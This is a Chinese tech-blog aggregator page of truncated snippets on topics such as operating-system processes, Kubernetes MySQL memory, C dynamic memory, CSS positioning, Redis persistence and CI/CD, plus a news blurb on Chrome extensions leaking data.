参考视频&#xff1a;操作系统 文章目录 1、进程管理逻辑图2、进程的由来3、进程引发的问题4、进程与程序的区别5、进程的特征6、进程的组织7、进程的状态与控制8、进程间的通信9、三级调度10、FCFS算法调度过程11、时间片轮转算法调度过程12、短作业有优先算法调度过程13、优…...

KylinOSv10系统k8s集群启动mysql5.7占用内存高的问题

问题现象 麒麟系统搭建k8s集群 mysql的pod启动失败 describe查看ommkill&#xff0c;放大limit资源限制到30G依旧启动失败 系统 报错信息 原因 内存占用太高 open_files_limit初始化太高 解决&#xff1a; 1、更换镜像 链接: https://pan.baidu.com/s/1b9uJLcc5Os0uDqD1e…...

c语言练习84:动态内存管理

动态内存管理 例题&#xff1a; 错误代码&#xff1a; #include<stdio.h> #include<stdlib.h> void GetMemory(char* p) {p (char*)malloc(100); } void Test(void) {char* str NULL;GetMemory(str);strcpy(str, "hello world");printf(str); } int …...

[Go版]设计模式——Template模版方法模式

目录 模板方法&#xff08;Template Method&#xff09;模式的说明核心思想设计优点 Go语言实现该模式的示例代码 模板方法&#xff08;Template Method&#xff09;模式的说明 核心思想 定义一个算法的骨架&#xff0c;将一些步骤的实现延迟到子类。 设计优点 将通用的模版…...

CVPR 2025 MIMO: 支持视觉指代和像素grounding 的医学视觉语言模型

CVPR 2025 | MIMO&#xff1a;支持视觉指代和像素对齐的医学视觉语言模型 论文信息 标题&#xff1a;MIMO: A medical vision language model with visual referring multimodal input and pixel grounding multimodal output作者&#xff1a;Yanyuan Chen, Dexuan Xu, Yu Hu…...

css的定位(position)详解:相对定位 绝对定位 固定定位

在 CSS 中&#xff0c;元素的定位通过 position 属性控制&#xff0c;共有 5 种定位模式&#xff1a;static&#xff08;静态定位&#xff09;、relative&#xff08;相对定位&#xff09;、absolute&#xff08;绝对定位&#xff09;、fixed&#xff08;固定定位&#xff09;和…...

Yolov8 目标检测蒸馏学习记录

yolov8系列模型蒸馏基本流程&#xff0c;代码下载&#xff1a;这里本人提交了一个demo:djdll/Yolov8_Distillation: Yolov8轻量化_蒸馏代码实现 在轻量化模型设计中&#xff0c;**知识蒸馏&#xff08;Knowledge Distillation&#xff09;**被广泛应用&#xff0c;作为提升模型…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能

1. 开发环境准备 ​​安装DevEco Studio 3.1​​&#xff1a; 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK ​​项目配置​​&#xff1a; // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...

全面解析数据库:从基础概念到前沿应用​

在数字化时代&#xff0c;数据已成为企业和社会发展的核心资产&#xff0c;而数据库作为存储、管理和处理数据的关键工具&#xff0c;在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理&#xff0c;到社交网络的用户数据存储&#xff0c;再到金融行业的交易记录处理&a…...

热门Chrome扩展程序存在明文传输风险,用户隐私安全受威胁

赛门铁克威胁猎手团队最新报告披露&#xff0c;数款拥有数百万活跃用户的Chrome扩展程序正在通过未加密的HTTP连接静默泄露用户敏感数据&#xff0c;严重威胁用户隐私安全。 知名扩展程序存在明文传输风险 尽管宣称提供安全浏览、数据分析或便捷界面等功能&#xff0c;但SEMR…...

【笔记】结合 Conda任意创建和配置不同 Python 版本的双轨隔离的 Poetry 虚拟环境

如何结合 Conda 任意创建和配置不同 Python 版本的双轨隔离的Poetry 虚拟环境&#xff1f; 在 Python 开发中&#xff0c;为不同项目配置独立且适配的虚拟环境至关重要。结合 Conda 和 Poetry 工具&#xff0c;能高效创建不同 Python 版本的 Poetry 虚拟环境&#xff0c;接下来…...

Gitlab + Jenkins 实现 CICD

CICD 是持续集成&#xff08;Continuous Integration, CI&#xff09;和持续交付/部署&#xff08;Continuous Delivery/Deployment, CD&#xff09;的缩写&#xff0c;是现代软件开发中的一种自动化流程实践。下面介绍 Web 项目如何在代码提交到 Gitlab 后&#xff0c;自动发布…...

【Redis】Redis 的持久化策略

目录 一、RDB 定期备份 1.2 触发方式 1.2.1 手动触发 1.2.2.1 自动触发 RDB 持久化机制的场景 1.2.2.2 检查是否触发 1.2.2.3 线上运维配置 1.3 检索工具 1.4 RDB 备份实现原理 1.5 禁用 RDB 快照 1.6 RDB 优缺点分析 二、AOF 实时备份 2.1 配置文件解析 2.2 开启…...